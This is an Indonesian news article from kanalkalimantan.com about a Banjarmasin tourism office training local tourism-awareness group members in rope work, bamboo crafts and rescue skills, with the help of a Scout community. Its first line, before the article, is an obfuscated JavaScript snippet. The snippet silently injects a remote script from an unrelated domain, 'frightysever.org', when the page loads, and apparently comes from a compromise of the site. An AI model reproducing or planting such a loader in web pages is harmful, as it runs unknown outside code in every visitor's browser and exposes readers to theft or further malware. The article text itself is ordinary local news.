(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pandemi Covid-19 di Banjarmasin berdampak pada sektor pariwisata di ibu kota Provinsi Kalsel ini. Membekali keterampilan, Dinas Kebudayaan dan Pariwisata (Disbudpar) Kota Banjarmasin memberikan pelatihan kepada kelompok sadar wisata (Pokdarwis) di Kota Banjarmasin.
Sedikitnya, ada 30 anggota Pokdarwis yang mengikuti pelatihan di bawah bimbingan Satuan Komunitas Scout 3 Penjuru Banjarmasin.
Menurut Kepala Disbudpar Kota Banjarmasin M Ikhsan Alhak, pelatihan ini untuk menyiapkan SDM kepariwisataan khususnya Pokdarwis di Kota Banjarmasin.
“Karena kepariwisataan itu tidak hanya soal infrastruktur, tetapi juga kelompok-kelompok seperti SDM yang peduli dengan pariwisata,” kata Ikhsan di sela pelatihan yang berlangsung di Kampung Sungai Biuku, Kelurahan Sungai Andai, Banjarmasin, Rabu (7/10/2020) pagi.
Targetnya, 30 anggota Pokdarwis yang mengikuti pelatihan memiliki keterampilan, seperti survival atau penyelamatan orang di tempat wisata.
Disamping itu, keterampilan seperti kerajinan tangan juga diasah pada pelatihan yang digelar selama sepekan ini. Nantinya hasil kerajinan tangan ini akan melengkapi fasilitas pariwisata.
Keterampilan berupa kerajinan tangan yang dimaksud, seperti pembuatan tali temali, pembuatan bambu dan anyaman. Sehingga, menjadi nilai tambah bagi destinasi wisata, utamanya di Kampung Sungai Biuku.
“Kita kerjasama dengan kawan-kawan dari instruktur Pramuka. Sehingga diharapkan mereka memiliki keterampilan dan kemampuan untuk memanfaatkan semua potensi yang ada, terutama yang ada di Kampung Sungai Biuku ini,” beber Ikhsan.
Keterampilan berupa pembuatan tali temali sendiri, nantinya akan dimanfaatkan untuk pembuatan fasilitas baru di Kampung Sungai Biuku. Seperti jembatan gantung, menara pandang dan rumah pohon, mengingat Kampung Sungai Biuku merupakan destinasi wisata alam.
“Nantinya rumah pohon ini berfungsi sebagai flying fox. Selain itu juga nanti akan dibuatkan ayunan agar masyarakat tidak bosan,” kata Hendri Gunadi, Ketua Satuan Komunitas Scout 3 Penjuru Banjarmasin.
Tak hanya itu, nantinya akan diberikan pelatihan untuk merakit robotik. Hendri mengklaim robotik yang akan dibuat ini adalah yang terbesar di Kampung Sungai Biuku. “Di sini juga ada lanting yang dari bambu, seperti di Loksado,” pungkas Hendri. (kanalkalimantan.com/fikri)
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
This website uses cookies.